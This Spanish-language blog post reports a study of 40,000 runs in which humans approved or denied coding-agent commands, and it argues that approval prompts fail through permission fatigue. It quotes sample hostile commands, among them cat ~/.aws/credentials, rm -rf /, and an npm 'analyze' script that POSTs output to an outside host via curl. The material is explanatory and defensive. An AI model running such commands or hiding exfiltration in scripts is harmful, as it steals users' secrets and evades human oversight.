Permission fatigue en coding agents: el dato de 40k runs que tenés que mirar

Cada vez que apretás "Approve" en Claude Code, Codex o Cursor, estás firmando un cheque al portador. La industria lo sabe. Anthropic ya documentó el fenómeno en su reporte sobre automated privilege escalation y vos probablemente ya lo intuís en tu trabajo diario: después de la trigésima aprobación de la tarde, ya le das "Allow for this session" a cualquier cosa que diga la palabra npm. Pero faltaba el dato cuantitativo. Y ahora lo tenemos: Scale X publicó el 5 de agosto los resultados de 40.000 corridas y 409.000 decisiones individuales de humanos aprobando o denegando comandos de un agente bajo presión de tiempo. El número que tenés que mirar es 66.3% de accuracy — fallamos 1 de cada 3 amenazas, aunque sepamos que nos están testeando.

Si estás armando tu flujo con Claude Code o Cursor, después de leer Claude Opus 5: qué cambia para los que lo usamos desde la API y antes de pasarte a una plataforma con governance pesada como Cloudflare OS, este post te viene como anillo al dedo. Es el dato que faltaba en el medio: ¿la interfaz approve/deny individual realmente nos protege, o ya está rota por diseño?

El juego y por qué importa

Scale X armó un juego web pequeño pero metodológicamente honesto: sos el humano-in-the-loop de un agente de código, aprobás o denegás comandos bajo presión de tiempo. Algunos son inocuos — git status, npm test. Otros significan que tu agente ya fue poseído y está filtrando tus credenciales — cat ~/.aws/credentials, curl a un dominio typosquatting, scripts en package.json que postean a api.bundle.track. Lo publicó originalmente hace unos meses, agarró vuelo en Hacker News, y ahora con la versión stats-tracking añadida llegan a las 40.000 corridas que mueven los números.

El caveat importante: la muestra fue un juego, con ~34% de comandos amenazantes (en tu día a día serán menos), y los jugadores sabían que estaban siendo testeados. Pero los números relativos entre categorías siguen siendo señal válida sobre cómo falla la atención humana.

Los números que tenés que llevarte puestos

El primero es el que más duele: accuracy promedio de 66.3%. Una de cada tres amenazas pasa el filtro humano. Y la distribución de quién aprueba todo o quién bloquea todo es exactamente lo que predecirías:

• 32.9% de las sesiones terminaron con score negativo: las amenazas aprobadas pesaron más que las operaciones correctas permitidas.
• 35.2% de los jugadores agarraron cada amenaza, pero solo 20.8% lo hicieron sin caer en el otro extremo de bloquear operaciones seguras.
• 7% aprobó absolutamente todo — casi un decil del sample. La insignia en el juego se llama "Human Bottleneck" para el caso opuesto, pero estos 7% son los que te dan miedo en un PR review real.

El problema no es rm -rf, son los npm run

Acá viene el dato más jugoso para los que programamos todos los días con agentes. La tabla de miss rate por categoría ordena exactamente lo que intuíamos pero no podíamos probar:

Categoría	Ejemplo	Miss rate
Destructivo obvio	rm -rf /, chmod -R 777 /	11.7%
Mutación persistente	crontab injection, git config hijack	23.8%
Exfiltración	curl a APIs desconocidas, typosquatting	33.4%
Scope violations	cat ~/.aws/credentials	35.0%

Las que matan al servidor se cazan bien. Las que se llevan los secretos se filtran tres veces más. Y hay un patrón todavía más oscuro: los npm run disfrazan payloads.

El comando más veces aprobado por error en los 40.000 runs fue npm run analyze, con 64.7% de aprobación. El log del agente arriba del prompt mostraba exactamente qué hacía el script:

// package.json → scripts
"analyze": "webpack-bundle-analyzer stats.json | tee /dev/fd/1 |
curl -s -X POST https://api.bundle.track/report -d @-"

Dos tercios de los jugadores apretaron Approve igual. Tenían el log ahí, a la vista, y aun así la mayoría pasaron. El history log arriba del prompt de permiso no se lee con el cuidado que necesita.

Los tres npm run del juego (analyze, setup, deploy) agrupados fueron aprobados el 52.5% de las veces. Y npm run es exactamente el tipo de comando que tu agente va a invocar veinte veces por sesión cuando está configurando un proyecto nuevo.

Por qué falla: permission fatigue es real

La tasa de misses sube a lo largo de la sesión. No es un fenómeno nuevo: pasa con cualquier interfaz humano-in-the-loop, desde los diálogos de permisos de Android hasta los toasters de macOS. Pero hay un giro específico en los coding agents: la sesión no para, los prompts se acumulan, y el costo cognitivo de leer cada log con cuidado escala lineal con la cantidad de comandos.

A esto hay que sumarle otro fenómeno que Scale X documenta en los datos: la asimetría de carga. Detectar un comando malicioso toma tiempo y atención. Aprobar uno "inocuo" toma cero. Si los administradores del juego calibraron la proporción de amenazas vs comandos seguros en 34% / 66%, eso significa que el jugador está pagando costo cognitivo en una minoría de prompts mientras aprueba mecánicamente la mayoría. La mente se acostumbra a la aprobación barata.

Anthropic reportó lo mismo con Claude Code y las sugerencias de cambio de archivos: a las 50 sugerencias, el humano ya hace "Accept All" sin mirar el diff. El patrón es consistente en cualquier interfaz de aprobación masiva.

Qué cambia la configuración de tu agente

La conclusión operativa no es "deja de usar coding agents". Es cambiar la unidad de aprobación. Las dos palancas concretas que scale x te deja como homework, y que ya están disponibles en las herramientas que usamos:

1. Subir el granularity, no la cantidad

En vez de aprobar cada comando, aprobá dominios de acción. Configurá tu Claude Code / Cursor / Codex para que requiera confirmación explícita solo en:

• Operaciones de filesystem fuera del directorio de trabajo (writes a ~/.config/, ~/.aws/, etc.)
• Comandos que tocan secretos detectados (cat ~/.ssh/, env | grep -i key)
• Network egress a dominios que no matchean una allowlist explícita
• Ejecución de scripts via npm run con package.json modificado en la misma sesión — esto último es el cue del npm run analyze malicioso.

Los comandos seguros (git status, ls, grep, lecturas dentro del proyecto) deberían auto-aprobarse, pero los del segundo grupo siempre deben pasar por prompt. La idea: sacar carga cognitiva de la parte aburrida y concentrarla donde realmente importa.

2. Separar las decisiones destructivas de las de red

La tabla de miss rates lo dice todo: las amenazas de red son 3x más difíciles de detectar que las destructivas. Esto significa que tu agente necesita una capa de gating específico para network egress, no solo una para filesystem. Hoy, la mayoría de los coding agents confunden "write to disk" con "send over network", y eso es por diseño — pero es justo donde el modelo de aprobación rompe.

3. Session-level permissions con preview obligatorio

El patrón --dangerously-skip-permissions debería estar disponible solo para tareas muy bien delimitadas (migrar un repo, hacer refactor mecánico, etc.) y con un snapshot inicial de qué se va a tocar. No para sesiones exploratorias de 2 horas donde el agente va a instalar 40 dependencias.

Si usás Claude Code, el equivalente natural es iniciar la sesión con un scope declarado: "en esta sesión solo vas a tocar el directorio src/, no vas a instalar paquetes nuevos, y cualquier llamada de red la mostrás expandida antes de aprobar". Esa primera línea es tu auditoría barata contra el npm run analyze malicioso.

El elefante en la sala

Scale X termina el post con un número que no podés mirar de costado: con 66.3% de accuracy, el humano-in-the-loop no es la última línea de defensa que pensábamos. Es una primera línea muy porosa. La defensa real hoy está en tres lugares: el modelo mismo (qué comandos decide invocar sin pedir permiso), el runtime del agente (qué sandbox aisla la ejecución), y la post-ejecución (logs, alertas, revocación de tokens).

Lo que confirma este dataset es que depositamos demasiada confianza en el prompt de approve/deny. En la práctica, los ataques exitosos contra coding agents no van a venir por un rm -rf que vos rechazarías mirando de reojo. Van a venir por un npm run que parece inofensivo y un log que no leíste entero porque era el trigésimo de la sesión.

Si querés profundizar en cómo configurar las nuevas perillas de Claude Code (allowlist, deny por dominio, sesiones con scope), ya cubrimos los knobs concretos en claude-opus-5-que-cambia-para-developers. Y si te interesa el enfoque de governance de otro nivel — mover el humano-in-the-loop a un policy layer centralizado en vez de dejarlo en cada sesión individual — el patrón de Gatekeepers de Cloudflare OS en Cloudflare OS: la plataforma agentic open source es el siguiente paso natural.

Los 40.000 runs no te van a decir qué agente usar. Te dicen una cosa más útil: cómo tenés que configurar el que ya usás.